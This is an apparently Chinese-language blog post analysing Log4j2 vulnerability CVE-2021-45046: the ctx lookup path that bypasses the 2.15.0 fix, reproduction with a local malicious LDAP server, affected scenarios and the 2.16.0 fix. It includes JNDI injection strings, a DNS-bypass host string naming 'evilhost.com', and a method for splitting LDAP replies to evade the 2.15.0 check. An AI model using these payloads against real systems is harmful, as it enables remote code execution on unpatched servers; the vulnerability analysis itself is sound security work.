Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)

系列文章

 

2.15.0之前版漏洞相关文章

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理

2.15.0版漏洞相关文章

Log4j2中2.15.0版存在的漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)

2.16.0版漏洞相关文章

Log4j2中2.16.0版中DOS攻击(CVE-2021-45105)的漏洞原理、复现步骤和修复方法(2.17.0修复原理)

一、前言

当Log4j2发布2.15.0版修复了Log4j2基于Ldap的注入漏洞之后。2.15.0的版本很快就被爆出了新的注入漏洞。但是这次漏洞爆出之后,大家却不怎么着急升级,到底是为什么呢?这就需要从该漏洞的原理以及影响说起了。

接下来我们就一起来探索下该漏洞的原理、复现步骤、影响范围,以及官方在2.16.0版本中是如何修复的。

学习该漏洞之前,请先学习理解Log4j2在2.15.0的漏洞的原理。否则你可能很难理解该文中部分内容。具体如下:

 Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(一)—开篇与基础知识

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(二)—漏洞原理

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)

Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(四)—漏洞修复原理

二、漏洞原理

1、漏洞简介

通过Log4j2官方介绍Log4j – Apache Log4j 2,我们对该漏洞能有如下初步的认识。

该漏洞是因为使用者在日志中打印出了ctx(线程上线文信息)相关的信息。而该信息如果来自用户输入,则会给攻击者可乘之机。其同样可以发起ldap注入攻击,实现执行远程代码或者本地类。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第1张图片

2、具体原理

在介绍给漏洞之前,我们先简单回顾下2.15.0之前版本的漏洞的基本原理和解决步骤 ,根据之前分析,可知原来的漏洞流程大致如下:

1、攻击者发送消息(包含ldap远程执行指令)

2、log4j2打印该日志

3、log4j2解析其中的ldap,于是执行lookup操作

4、触发java的ldap的lookup功能,最终远程指令或者本地存在风险的类被执行。

为了解决该漏洞,官方做了如下两个修改(具体参考下图):

1、在MessagePatternConverter中默认关闭了lookup功能

2、在JndiManager中新增了域名、协议和解析类的白名单

3、在JndiManager中禁止了远程javaFactory的加载。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第2张图片

由上图可以看到,2.15.0改版之后,攻击者要完整的执行远程代码加载攻击链(图中红色链路),则基本不可能了。因为消息处理中lookup默认被关闭了。同时提供了白名单,给让用户在开启Lookup的时候,能够控制允许哪些域名、协议和类支持调用底层lookup。

那么在2.15.0的版本下,怎样可以绕过这个lookup开关限制呢?

在Log4j2中,我们在配置日志格式的时候,通过需要配置变量来打印日志时间、打印线程ID等。

如上图,其中的ctx前缀表示从线程上下文获取参数api版本信息。当我们在代码执行的时候,将该变量set到ThreadContext中后,该变量就会打印到日志中。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第3张图片

这个功能看似很正常,但是却存在一个问题。即:它支持对其配置内容进行lookup,且其和消息的Lookup完全是两个分支。在继续介绍之前,我们需要简单了解下,Log4j2对日志规则中的变量的处理逻辑。

其对所有的变量都有不同的PatternConverter类来处理解析,从而获取到不同的字符串内容。其对应的子类非常多,部分如下:

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第4张图片

我们之前所的2.15.0之前的漏洞就是因为处理消息(配置%m, %msg)的处理类MessagePatternConverter默认开启了lookup功能。

而我们这里介绍的ctx则使用的LiteralPatternConverter处理类,其也开启了lookup功能。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第5张图片

其lookup的功能的实现如下:

1、首先在日志规则中做如下配置。表示日志中需要打印线程上下文中的变量apiVersion对应的值。

2、在代码请求的位置设置apiVersion=${jndi:ldap://localhost:9999/Test}

3、当打印日志的时候,log4j2会解析日志规则。并使用 LiteralPatternConverter类解析${ctx:apiVersion},将其解析成${jndi:ldap://localhost:9999/Test}

4、解析完成后,发现其还存在${}占位符,于是继续对齐进行解析。判断为ldap

5、于是调用JndiManager执行底层ldap的lookup逻辑。从而触发恶意代码执行。

那么这个功能怎样才会被攻击者利用尼?

因为有些时候,可能log4j2的使用者,会将用户的某个入参传递到ContextMap中,供日志打印出来。将入参直接设置到apiVersion中(为了默认直接设置,实际通常是从header中获取)。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第6张图片

如果是这样的场景,则攻击者即可以想利用2.15.0之前的漏洞一样,传入恶意的ldap串,进行攻击。

其整个攻击原理图如下:

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第7张图片

可以看到其和2.15.0版本中的消息处理逻辑很相似。唯一不同的是:

1、该LiteralPatternConverter中默认就允许执行lookup操作。

2、LiteralPatternConverter解析后得到的字符串用于替换${ctx:xxx}所占的位置,最终随日志一起打印。

三、复现步骤

1、基本介绍

接下来,我们来尝试一起复现。其实通过上面的攻击原理图,大家应该比较清楚。我们要构造请求很容,但是因为2.15.0在JndiManager中新增了域名、协议和加载类的白名单。我们还是很难让其调用外部的ldap服务。

但实际上是可以通过构造DNS的方式,让其调用外部服务,从而实现攻击。其官方说法是其已经在MacOS上复现了。参考:Log4j Vulnerability CVE-2021-45046 Now a Critical 9.0 | WhiteSource

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第8张图片 Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第9张图片

由于楼主在网上并没有找到如何通过这种DNS Provider的方式绕过本地域名白名单校验。于是我们这里的复现步骤,都基于本地ldap服务实现。

2、复现步骤

首先我们需要搭建ldap恶意服务、和codebase恶意服务器。具体请参考:Log4j2注入漏洞(CVE-2021-44228)万字深度剖析(三)—复现步骤(攻击方法)_Life of Coder-CSDN博客

ldap恶意服务器的搭建和之前有所不同。不知道大家在看上述原理的时候有么有注意到,我们提到了这个漏洞的执行会触发两次ldap服务器的请求(下图绿色部分)。其中第一次完全是为了校验(由Log4j2主动请求),第二次才是真正的处理(由java底层的ldap类进行请求)。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第10张图片

且我们有提到在2.15.0版本中其关闭了远程javaFactory的处理。如果返回了factory,则log4j2直接不执行后续的lookup操作(java底层的lookup功能)。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第11张图片

于是为了绕过这个逻辑,我们需要在修改下ldap服务器的返回数据。第一次校验的时候,只返回codebase地址,不返回factory相关数据。第二次请求的时候返回完整的ldap数据。这样就能完美绕过该功能。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第12张图片 然后我们只需要在日志中做如下配置:

并编写存在漏洞的接口,如下:

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第13张图片

然后调用该接口即可。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第14张图片

完成之后,mac电脑上的文件管理器会自动弹出来。至此攻击完成。

四、影响范围

通过理解该漏洞原理和复现步骤之后,咱们也就能够分析出其在什么场景下才会造成影响。该漏洞能够在2.15.0版本下复现必须满足如下所有前提

1、业务使用了ctx在日志规则中打印线程上下文中对应key,如:apiVersion

2、ctx中对应的key(如apiVersion)必须来自外部输入,且未做安全校验

3、同时需要业务的DSN被污染,能够将//127.0.0.1#evilhost.com:1389/a解析到evilhost.com域名下去(具体未找到官方提到的方法)。

由于该漏洞的场景要求比较特殊,在2.15.0版本上基本都不会怎么复现。所以业界也基本没有怎么兴起升级2.15.0版本的浪潮。

五、官方修复原理(2.16.0版)

1、默认关闭了Jndi

在2.16.0中,官方默认关闭了jndi。且不推荐大家开启该功能。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第15张图片

在JndiManager中新增了jndi开关,通过log4j2.enableJndi参数来控制。默认为false。

同时在新建JndiManager管理类时会判断,如果开关关闭,则创建空的JndiManager类,即空的JndiManager无法执行任何JNDI操作。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第16张图片

空JndiManager执行lookup方法时会直接返回null。不会执行真正的lookup逻辑。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第17张图片

同时官方在Interpolator中在关闭了jndi的情况下,也不会注入JndiLookup的处理类。从而在关闭了jndi的场景下,再也不会处理jndi的lookup操作。

Log4j2中2.15.0版漏洞(CVE-2021-45046)的注入原理、复现步骤和如何修复(2.16.0修复原理)_第18张图片

2、彻底删除了消息中的Lookup功能

应该是考虑到消息中执行Lookup功能,可能会存在潜在未知的安全风险,于是官方直接在MessagePatternConverter将消息的lookup功能移除了。2.15.0中可以通过配置lookup配置开启该功能。

 源码:MessagePatternConverter

PS:该修改点和本文讨论的漏洞没有关系,其只是2.16.0版本中一起修改的一个点而已。

六、惯例

如果你喜欢本文或觉得本文对你有所帮助,欢迎一键三连支持,非常感谢。

如果你对本文有任何疑问或者高见,欢迎添加公众号lifeofcoder共同交流探讨(添加公众号可以获得楼主最新博文推送以及”Java高级架构“上10G视频和图文资料哦)。

你可能感兴趣的:(技术分享,源码分析,安全漏洞,Log4j2,Ldap,Codebase,JNDI)